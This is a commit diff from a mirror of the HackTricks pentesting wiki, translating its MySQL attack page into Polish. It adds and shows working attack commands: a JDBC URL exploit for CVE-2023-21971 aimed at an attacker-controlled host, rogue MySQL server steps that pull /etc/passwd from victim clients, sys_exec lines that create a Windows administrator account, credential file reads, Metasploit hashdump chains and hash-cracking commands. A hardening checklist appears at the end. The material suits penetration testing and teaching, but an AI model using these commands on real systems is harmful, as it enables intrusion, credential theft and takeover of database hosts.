mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-mysql.md'] to pl
This commit is contained in:
parent
1165352586
commit
80b97d1735
@ -109,7 +109,7 @@ Możesz zobaczyć w dokumentacji znaczenie każdego uprawnienia: [https://dev.my
|
|||||||
../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md
|
../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
#### INTO OUTFILE → Python `.pth` RCE (specyficzne dla witryny haki konfiguracyjne)
|
#### INTO OUTFILE → Python `.pth` RCE (specyficzne dla witryny konfiguracje)
|
||||||
|
|
||||||
Wykorzystując klasyczny prymityw `INTO OUTFILE`, możliwe jest uzyskanie *dowolnego wykonania kodu* na celach, które później uruchamiają skrypty **Python**.
|
Wykorzystując klasyczny prymityw `INTO OUTFILE`, możliwe jest uzyskanie *dowolnego wykonania kodu* na celach, które później uruchamiają skrypty **Python**.
|
||||||
|
|
||||||
@ -128,7 +128,7 @@ Przykład tworzenia pliku za pomocą zapytania **UNION** (znaki spacji zastąpio
|
|||||||
Ważne ograniczenia i obejścia:
|
Ważne ograniczenia i obejścia:
|
||||||
|
|
||||||
* `INTO OUTFILE` **nie może nadpisywać** istniejących plików; wybierz nową nazwę pliku.
|
* `INTO OUTFILE` **nie może nadpisywać** istniejących plików; wybierz nową nazwę pliku.
|
||||||
* Ścieżka do pliku jest rozwiązywana **względem CWD MySQL**, więc dodanie `../../` pomaga skrócić ścieżkę i obejść ograniczenia dotyczące ścieżek bezwzględnych.
|
* Ścieżka do pliku jest rozwiązywana **względem CWD MySQL**, więc dodanie `../../` pomaga skrócić ścieżkę i obejść ograniczenia dotyczące ścieżek absolutnych.
|
||||||
* Jeśli dane wejściowe atakującego są wyciągane za pomocą `%128s` (lub podobnego), każda spacja skróci ładunek; użyj sekwencji komentarzy MySQL `/**/` lub `/*!*/`, aby zastąpić spacje.
|
* Jeśli dane wejściowe atakującego są wyciągane za pomocą `%128s` (lub podobnego), każda spacja skróci ładunek; użyj sekwencji komentarzy MySQL `/**/` lub `/*!*/`, aby zastąpić spacje.
|
||||||
* Użytkownik MySQL wykonujący zapytanie potrzebuje uprawnienia `FILE`, ale w wielu urządzeniach (np. FortiWeb) usługa działa jako **root**, co daje dostęp do zapisu niemal wszędzie.
|
* Użytkownik MySQL wykonujący zapytanie potrzebuje uprawnienia `FILE`, ale w wielu urządzeniach (np. FortiWeb) usługa działa jako **root**, co daje dostęp do zapisu niemal wszędzie.
|
||||||
|
|
||||||
@ -148,7 +148,7 @@ uid=0(root) gid=0(root) groups=0(root)
|
|||||||
|
|
||||||
## MySQL dowolne odczytywanie pliku przez klienta
|
## MySQL dowolne odczytywanie pliku przez klienta
|
||||||
|
|
||||||
W rzeczywistości, gdy próbujesz **załadować dane lokalnie do tabeli** z **zawartością pliku**, serwer MySQL lub MariaDB prosi **klienta o jego odczyt** i przesłanie zawartości. **Jeśli możesz zmanipulować klienta MySQL, aby połączył się z własnym serwerem MySQL, możesz odczytać dowolne pliki.**\
|
W rzeczywistości, gdy próbujesz **załadować dane lokalnie do tabeli** z **zawartością pliku**, serwer MySQL lub MariaDB prosi **klienta o jego odczyt** i przesłanie zawartości. **Jeśli możesz zmanipulować klienta MySQL, aby połączył się z własnym serwerem MySQL, możesz odczytywać dowolne pliki.**\
|
||||||
Zauważ, że takie jest zachowanie przy użyciu:
|
Zauważ, że takie jest zachowanie przy użyciu:
|
||||||
```bash
|
```bash
|
||||||
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
||||||
@ -251,9 +251,9 @@ CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
|
|||||||
SELECT sys_exec("net user npn npn12345678 /add");
|
SELECT sys_exec("net user npn npn12345678 /add");
|
||||||
SELECT sys_exec("net localgroup Administrators npn /add");
|
SELECT sys_exec("net localgroup Administrators npn /add");
|
||||||
```
|
```
|
||||||
### Wyodrębnianie poświadczeń MySQL z plików
|
### Wyciąganie poświadczeń MySQL z plików
|
||||||
|
|
||||||
W pliku _/etc/mysql/debian.cnf_ można znaleźć **hasło w formacie tekstowym** użytkownika **debian-sys-maint**
|
W pliku _/etc/mysql/debian.cnf_ można znaleźć **hasło w formie tekstu jawnego** użytkownika **debian-sys-maint**
|
||||||
```bash
|
```bash
|
||||||
cat /etc/mysql/debian.cnf
|
cat /etc/mysql/debian.cnf
|
||||||
```
|
```
|
||||||
@ -646,7 +646,58 @@ Note: sourced from https://github.com/carlospolop/legion
|
|||||||
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
|
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
|
||||||
|
|
||||||
```
|
```
|
||||||
|
## 2023-2025 Najważniejsze wydarzenia (nowe)
|
||||||
|
|
||||||
|
### JDBC `propertiesTransform` deserializacja (CVE-2023-21971)
|
||||||
|
Od Connector/J <= 8.0.32 atakujący, który może wpływać na **JDBC URL** (na przykład w oprogramowaniu firm trzecich, które prosi o ciąg połączenia), może zażądać załadowania dowolnych klas po stronie *klienta* za pomocą parametru `propertiesTransform`. Jeśli gadżet obecny na ścieżce klas jest możliwy do załadowania, skutkuje to **zdalnym wykonaniem kodu w kontekście klienta JDBC** (przed uwierzytelnieniem, ponieważ nie są wymagane żadne ważne poświadczenia). Minimalny PoC wygląda następująco:
|
||||||
|
```java
|
||||||
|
jdbc:mysql://<attacker-ip>:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil
|
||||||
|
```
|
||||||
|
Uruchomienie `Evil.class` może być tak proste, jak umieszczenie go w class-path aplikacji z luką lub pozwolenie, aby złośliwy serwer MySQL wysłał złośliwy zserializowany obiekt. Problem został naprawiony w Connector/J 8.0.33 – zaktualizuj sterownik lub wyraźnie ustaw `propertiesTransform` na liście dozwolonej.
|
||||||
|
(Zobacz artykuł Snyk po szczegóły)
|
||||||
|
|
||||||
|
### Ataki z użyciem złośliwego / fałszywego serwera MySQL przeciwko klientom JDBC
|
||||||
|
Kilka narzędzi open-source implementuje *częściowy* protokół MySQL w celu ataku na klientów JDBC, którzy łączą się na zewnątrz:
|
||||||
|
|
||||||
|
* **mysql-fake-server** (Java, obsługuje exploity odczytu plików i deserializacji)
|
||||||
|
* **rogue_mysql_server** (Python, podobne możliwości)
|
||||||
|
|
||||||
|
Typowe ścieżki ataku:
|
||||||
|
|
||||||
|
1. Aplikacja ofiary ładuje `mysql-connector-j` z `allowLoadLocalInfile=true` lub `autoDeserialize=true`.
|
||||||
|
2. Atakujący kontroluje DNS / wpis hosta, aby nazwa hosta bazy danych rozwiązywała się na maszynę pod ich kontrolą.
|
||||||
|
3. Złośliwy serwer odpowiada stworzonym pakietem, który wyzwala albo `LOCAL INFILE` dowolny odczyt pliku, albo deserializację Java → RCE.
|
||||||
|
|
||||||
|
Przykład jednego polecenia do uruchomienia fałszywego serwera (Java):
|
||||||
|
```bash
|
||||||
|
java -jar fake-mysql-cli.jar -p 3306 # from 4ra1n/mysql-fake-server
|
||||||
|
```
|
||||||
|
Następnie skieruj aplikację ofiary na `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` i odczytaj `/etc/passwd`, kodując nazwę pliku jako base64 w polu *username* (`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`).
|
||||||
|
|
||||||
|
### Łamanie hashy `caching_sha2_password`
|
||||||
|
MySQL ≥ 8.0 przechowuje hashe haseł jako **`$mysql-sha2$`** (SHA-256). Zarówno Hashcat (tryb **21100**), jak i John-the-Ripper (`--format=mysql-sha2`) wspierają łamanie offline od 2023 roku. Zrzutuj kolumnę `authentication_string` i podaj ją bezpośrednio:
|
||||||
|
```bash
|
||||||
|
# extract hashes
|
||||||
|
echo "$mysql-sha2$AABBCC…" > hashes.txt
|
||||||
|
# Hashcat
|
||||||
|
hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist
|
||||||
|
# John the Ripper
|
||||||
|
john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist
|
||||||
|
```
|
||||||
|
### Lista kontrolna wzmacniania (2025)
|
||||||
|
• Ustaw **`LOCAL_INFILE=0`** i **`--secure-file-priv=/var/empty`**, aby zablokować większość prymitywów do odczytu/zapisu plików.
|
||||||
|
• Usuń uprawnienie **`FILE`** z kont aplikacji.
|
||||||
|
• W Connector/J ustaw `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (puste).
|
||||||
|
• Wyłącz nieużywane wtyczki uwierzytelniające i **wymagaj TLS** (`require_secure_transport = ON`).
|
||||||
|
• Monitoruj polecenia `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` oraz nagłe polecenia `SET GLOBAL`.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
## Odniesienia
|
## Odniesienia
|
||||||
- [Pre-auth SQLi do RCE w Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
|
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
|
||||||
|
- [Oracle MySQL Connector/J propertiesTransform RCE – CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540)
|
||||||
|
- [mysql-fake-server – Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server)
|
||||||
|
|
||||||
|
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user